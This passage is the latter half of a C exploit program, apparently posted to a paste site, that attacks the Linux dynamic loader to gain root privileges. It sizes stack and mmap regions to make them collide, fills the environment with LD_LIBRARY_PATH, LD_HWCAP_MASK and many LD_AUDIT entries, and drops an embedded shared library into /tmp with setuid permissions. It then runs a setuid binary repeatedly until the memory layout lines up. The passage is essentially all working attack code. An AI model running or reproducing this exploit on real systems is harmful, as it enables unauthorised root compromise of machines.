  808.                 const struct my_important_hwcaps ihc = important_hwcaps[idx];
  809.                 if (ihc.strings < gwr + bwr) die();
  810.                 if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue;
  811.                 if (ihc.search_dirs_0 >= STACK_RAND) continue;
  812.  
  813.                 const size_t min = MIN(gwr, ihc.pointers);
  814.                 if (gpj < min + ihc.strings + ihc.search_dirs + 2 * target->memalign_up + 2 * PAGESZ + (target->ignore_origin ? 0 : PATH_MAX)) continue;
  815.  
  816.                 const double probability =
  817.                     (double)((uint64_t)(STACK_RAND - ihc.search_dirs_0) * (uint64_t)min) /
  818.                     (double)((uint64_t)STACK_RAND * (uint64_t)(MMAP_RAND + (STACK_RAND - ihc.search_dirs_0)));
  819.                 if (best.probability < probability) {
  820.                     best.probability = probability;
  821.                     best.ihc = ihc;
  822.                     best.gwr = gwr;
  823.                     best.dst = dst;
  824.                     best.cnt = cnt;
  825.                     printf("len %zu ihcp %zu ihcs %zu sd %zu sd0 %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g) mask %lx\n",
  826.                         ihc.max_capstrlen, ihc.pointers, ihc.strings, ihc.search_dirs, ihc.search_dirs_0, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len,
  827.                         (size_t)(1 / probability), probability, ihc.hwcap_mask);
  828.                 }
  829.             }
  830.         }
  831.     }
  832.     if (!best.probability) die();
  833.     if (STACK_BASE <= MMAP_BASE) die();
  834.     const size_t mmap_size = ((STACK_BASE - MMAP_BASE) / 2) - MMAP_RAND / 2
  835.         - (get_elf_mmaps(binary) + get_elf_mmaps("/lib/ld-linux.so.2") + best.ihc.pointers + best.ihc.strings + best.ihc.search_dirs);
  836.     const size_t stack_size = ((STACK_BASE - MMAP_BASE) / 2) - ((STACK_RAND + best.ihc.search_dirs_0) / 2);
  837.     printf("mmap_size %zu stack_size %zu\n", mmap_size, stack_size);
  838.  
  839.     #define REL_LA "a"
  840.     #define LDA "LD_AUDIT="
  841.     static char lda[MAX_ARG_STRLEN];
  842.     #define MAX_RLDAS ((sizeof(lda) - sizeof(LDA)) / sizeof(REL_LA))
  843.     if (sizeof(struct audit_list) % MALLOC_ALIGN) die();
  844.     const size_t ldas = (mmap_size / sizeof(struct audit_list)) / MAX_RLDAS;
  845.     if (ldas >= MAX_ARG_STRINGS / 3) die();
  846.  
  847.     #define INITIAL_STACK_EXPANSION (131072UL)
  848.     const size_t pads = INITIAL_STACK_EXPANSION / sizeof(char *) - ldas;
  849.     if (pads >= INITIAL_STACK_EXPANSION / sizeof(char *)) die();
  850.     if (pads >= MAX_ARG_STRINGS / 3) die();
  851.     static char pad[MAX_ARG_STRLEN];
  852.   {
  853.     const size_t padl = (stack_size - sizeof(llp) - ldas * (sizeof(lda) + sizeof(char *)) - pads * sizeof(char *)) / pads;
  854.     if (padl >= sizeof(pad)) die();
  855.     if (padl <= 0) die();
  856.     memset(pad, ' ', padl-1);
  857.     printf("ldas %zu pads %zu padl %zu\n", ldas, pads, padl);
  858.   }
  859.  
  860.   {
  861.     char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
  862.     memset(cp, '/', MAX_GWR);
  863.     memcpy(cp + MAX_GWR, SEP_LIB, sizeof(SEP_LIB)-1);
  864.     if (*(cp + MAX_GWR + sizeof(SEP_LIB)-1)) die();
  865.  
  866.     #define LIB_TO_TMP "/../tmp/"
  867.     if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die();
  868.  
  869.     if (!best.gwr) die();
  870.     if (best.gwr >= MAX_GWR) die();
  871.     if (best.gwr % MALLOC_ALIGN) die();
  872.     size_t i;
  873.     for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) {
  874.         cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN);
  875.     }
  876.     if (!best.cnt) die();
  877.     if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
  878.     for (i = 0; i < best.cnt; i++) {
  879.         *cp++ = '$';
  880.         cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
  881.         *cp++ = '/';
  882.     }
  883.     if (cp >= llp + sizeof(llp)) die();
  884.     if (llp[sizeof(llp)-1]) die();
  885.   }
  886.  
  887.     #define LHCM "LD_HWCAP_MASK="
  888.     static char lhcm[64];
  889.     if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask)
  890.                                   >= sizeof(lhcm)) die();
  891.   {
  892.     char * cp = mempcpy(lda, LDA, sizeof(LDA)-1);
  893.     size_t i;
  894.     for (i = 0; i < MAX_RLDAS; i++) {
  895.         cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA));
  896.     }
  897.     if (cp >= lda + sizeof(lda)) die();
  898.     if (*cp) die();
  899.   }
  900.     static char rlda[MAX_ARG_STRLEN];
  901.  
  902.     const size_t args = 1 + pads + 1;
  903.     char ** const argv = calloc(args, sizeof(char *));
  904.     if (!argv) die();
  905.   {
  906.     char ** ap = argv;
  907.     *ap++ = (char *)binary;
  908.     size_t i;
  909.     for (i = 0; i < pads; i++) {
  910.         *ap++ = pad;
  911.     }
  912.     *ap++ = NULL;
  913.     if (ap != argv + args) die();
  914.   }
  915.  
  916.     const size_t envs = 2 + ldas + 2;
  917.     char ** const envp = calloc(envs, sizeof(char *));
  918.     if (!envp) die();
  919.   {
  920.     char ** ep = envp;
  921.     *ep++ = llp;
  922.     *ep++ = lhcm;
  923.     size_t i;
  924.     for (i = 0; i < ldas; i++) {
  925.         *ep++ = lda;
  926.     }
  927.     *ep++ = rlda;
  928.     *ep++ = NULL;
  929.     if (ep != envp + envs) die();
  930.   }
  931.  
  932.   {
  933.     static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY };
  934.     if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
  935.   }
  936.     int pipefd[2];
  937.     if (pipe(pipefd)) die();
  938.     if (close(pipefd[0])) die();
  939.     pipefd[0] = -1;
  940.     if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
  941.  
  942.   {
  943.     #define ABS_LA_DIR "/" LIB "/" LIB_TO_TMP "/"
  944.     static const char * const abs_las[] = {
  945.         ABS_LA_DIR "" REL_LA,
  946.         ABS_LA_DIR "/" REL_LA,
  947.         ABS_LA_DIR "/." REL_LA,
  948.         ABS_LA_DIR "/.." REL_LA,
  949.     };
  950.     size_t i;
  951.     for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) {
  952.         const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
  953.         if (fd <= -1) die();
  954.       {
  955.         struct stat st;
  956.         if (fstat(fd, &st)) die();
  957.         if (!S_ISREG(st.st_mode)) die();
  958.         if (st.st_uid != getuid()) die();
  959.         if (st.st_uid != geteuid()) die();
  960.       }
  961.       {
  962.         static const
  963.         #include "la.so.h"
  964.         if (sizeof(la_so) != la_so_len) die();
  965.         if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die();
  966.       }
  967.         if (fchmod(fd, 04755)) die();
  968.         if (close(fd)) die();
  969.     }
  970.   }
  971.  
  972.     size_t try;
  973.     for (try = 1; try <= 65536; try++) {
  974.       {
  975.         char * cp = mempcpy(rlda, LDA, sizeof(LDA)-1);
  976.         size_t rldas = 1 + random() % (65536 / sizeof(struct audit_list));
  977.         if (rldas > MAX_RLDAS) die();
  978.         if (rldas <= 0) die();
  979.         while (rldas--) {
  980.             cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA));
  981.         }
  982.         if (cp >= rlda + sizeof(rlda)) die();
  983.         *cp = '\0';
  984.       }
  985.         if (fflush(stdout)) die();
  986.         const pid_t pid = fork();
  987.         if (pid <= -1) die();
  988.         if (pid == 0) {
  989.             if (dup2(pipefd[1], 1) != 1) die();
  990.             if (dup2(pipefd[1], 2) != 2) die();
  991.             execve(*argv, argv, envp);
  992.             die();
  993.         }
  994.         int status = 0;
  995.         struct timeval start, stop, diff;
  996.         if (gettimeofday(&start, NULL)) die();
  997.         if (waitpid(pid, &status, WUNTRACED) != pid) die();
  998.         if (gettimeofday(&stop, NULL)) die();
  999.         timersub(&stop, &start, &diff);
  1000.         printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);
  1001.  
  1002.         if (WIFSIGNALED(status)) {
  1003.             printf("signal %d\n", WTERMSIG(status));
  1004.             switch (WTERMSIG(status)) {
  1005.                 case SIGPIPE:
  1006.                 case SIGSEGV:
  1007.                 case SIGBUS:
  1008.                     break;
  1009.                 default:
  1010.                     die();
  1011.             }
  1012.         } else if (WIFEXITED(status)) {
  1013.             printf("exited %d\n", WEXITSTATUS(status));
  1014.             die();
  1015.         } else if (WIFSTOPPED(status)) {
  1016.             printf("stopped %d\n", WSTOPSIG(status));
  1017.             die();
  1018.         } else {
  1019.             printf("unknown %d\n", status);
  1020.             die();
  1021.         }
  1022.     }
  1023.     die();
  1024. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement